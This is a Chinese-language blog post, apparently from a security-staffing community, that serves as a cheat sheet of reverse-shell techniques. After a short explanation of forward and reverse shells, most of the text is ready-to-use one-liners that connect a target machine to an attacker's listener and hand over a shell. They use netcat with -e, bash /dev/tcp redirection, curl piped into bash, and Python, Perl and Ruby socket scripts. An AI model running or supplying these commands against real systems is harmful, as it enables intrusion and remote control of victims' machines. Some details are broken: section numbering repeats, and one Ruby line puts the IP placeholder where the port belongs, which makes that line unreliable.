天天看点

【技术好文】你需要知道的反弹Shell都在这里了1、反弹Shell简介2、利用Netcat反弹Shell3、利用Bash反弹Shell3、Curl配合Bash反弹Shell4、Python脚本反弹5、Perl脚本反弹Shell6、Ruby脚本反弹Shell加入社群

康创护网研习社是广州康创信息科技有限公司旗下的社群,专注于护网行动的安全服务公司,不定期发布人员需求,与主流网络安全厂商建立了合作关系。旨在为每年的大型网络安全保护行动(护网、重保等业务)提供高质量可靠的安全人员。为社群优秀的小伙伴提供学习实践机会和丰厚报酬以及大厂实践经历。

1、反弹Shell简介

Reverse Shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

Reverse Shell 与 Telnet,SSH 等标准Shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹Shell

常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、Web服务、SSH、Telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  2. 目标机器的ip动态改变,你不能持续控制。
  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

正向Shell

攻击者的机器主动连接上目标机器,如远程桌面、Web服务、SSH 和 Telnet等等。

反向Shell

目标主机将自己的输入输出反弹到攻击者的服务端程序上,这就被称为反弹连接。

2、利用Netcat反弹Shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了Netcat工具包,但是可能由于处于安全考虑原生版本的Netcat带有可以直接发布与反弹本地Shell的功能参数 -e 都被阉割了,所以我们得手动替换以下nc的版本

# 安装传统的Netcat
$ sudo apt-get install netcat

# 切换版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密码: 
有 2 个候选项可用于替换 nc (提供 /bin/nc)。

  选择       路径               优先级  状态
------------------------------------------------------------
  0            /bin/nc.openbsd       50        自动模式
  1            /bin/nc.openbsd       50        手动模式
* 2            /bin/nc.traditional   10        手动模式

要维持当前值[*]请按<回车键>,或者键入选择的编号:2
           

ncat

这是 Netcat 的比较新的现代版本,它是从头开始编写的,不使用原始的 Netcat 代码,ncat 的作者是着名的 Nmap 程序的作者。ncat 几乎重复了原始程序的所有功能,并包含其他功能。CentOS、Red Hat 默认带的是 ncat。目前ncat已经集成到了 nmap 里面,安装完 nmap 后就可以使用ncat命令了。

攻击机开启本地监听

nc -lvvp <攻击机监听的端口>
           
【技术好文】你需要知道的反弹Shell都在这里了1、反弹Shell简介2、利用Netcat反弹Shell3、利用Bash反弹Shell3、Curl配合Bash反弹Shell4、Python脚本反弹5、Perl脚本反弹Shell6、Ruby脚本反弹Shell加入社群

目标机主动连接攻击机

nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
           

结果

【技术好文】你需要知道的反弹Shell都在这里了1、反弹Shell简介2、利用Netcat反弹Shell3、利用Bash反弹Shell3、Curl配合Bash反弹Shell4、Python脚本反弹5、Perl脚本反弹Shell6、Ruby脚本反弹Shell加入社群

3、利用Bash反弹Shell

Bash产生了一个交互环境和本地主机主动发起与攻击机端口建立的连接相结合,然后再重定向这个TCP 端口会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

攻击机开启本地监听

nc -lvvp <攻击机监听的端口>
           

目标机主动连接攻击机:

bash -i >& /dev/tcp/[攻击机ip]/[攻击机端口] 0>&1

# bash -i 产生bash1交互环境
# >& 将联合符号前面的内容与后面的相结合,然后一起重定向给后者
# /dev/tcp/[目标ip地址]/[目标端口] 让目标主机与攻击机的端口建立tcp连接
# 0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面的标准输出的内容
           

3、Curl配合Bash反弹Shell

目标主机上执行

bash -i >& /dev/tcp/[攻击机ip]/[攻击机端口] 0>&1
           

攻击机开启本地监听

nc -lvvp <攻击机监听的端口>
           

然后再在目标机上执行如下命令,即可反弹Shell:

curl [攻击机ip]|bash
### curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
           

4、Python脚本反弹

攻击机开启本地监听

nc -lvvp <攻击机监听的端口>
           

目标机主动连接攻击机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击机ip]",[攻击机端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
           

5、Perl脚本反弹Shell

攻击机开启本地监听

nc -lvvp <攻击机监听的端口>
           
perl -e 'use Socket;$i="[攻击机ip]";$p=[攻击机端口];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
           

6、Ruby脚本反弹Shell

nc -lvvp <攻击机监听的端口>
           
ruby -rsocket -e 'c=TCPSocket.new("[攻击机ip]","[攻击机端口]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[攻击机ip]","[攻击机ip]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
           

加入社群